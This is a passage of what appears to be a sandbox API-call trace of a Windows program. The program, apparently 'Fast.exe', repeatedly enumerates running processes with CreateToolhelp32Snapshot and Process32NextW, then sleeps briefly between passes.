th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.119] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.120] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.121] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.122] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0246.123] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.123] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.124] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0246.125] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0246.126] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0246.127] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0246.128] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.129] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0246.130] CloseHandle (hObject=0x1f0) returned 1 [0246.130] Sleep (dwMilliseconds=0x1f4) [0247.506] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0247.516] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.517] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.519] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.519] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.520] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.521] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.522] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.523] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.524] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.525] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.526] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.527] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.528] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.528] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.529] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.530] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.531] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.531] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.532] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.533] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.534] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0247.535] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0247.536] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.537] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.538] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0247.539] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0247.540] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0247.540] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0247.541] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0247.542] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0247.543] CloseHandle (hObject=0x1f0) returned 1 [0247.543] Sleep (dwMilliseconds=0x1f4) [0249.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0249.183] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.184] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.185] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.186] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.188] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.189] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.190] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.191] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.191] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.192] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0249.193] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.194] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.195] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.196] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.197] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.198] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.199] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.200] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.201] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.202] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.204] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0249.205] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0249.206] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.206] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.207] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0249.208] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0249.209] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0249.210] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0249.211] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0249.212] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0249.213] CloseHandle (hObject=0x1f0) returned 1 [0249.213] Sleep (dwMilliseconds=0x1f4) [0250.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0250.022] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.023] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.024] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.025] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.026] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.027] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.027] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.028] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.029] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.030] Process32NextW 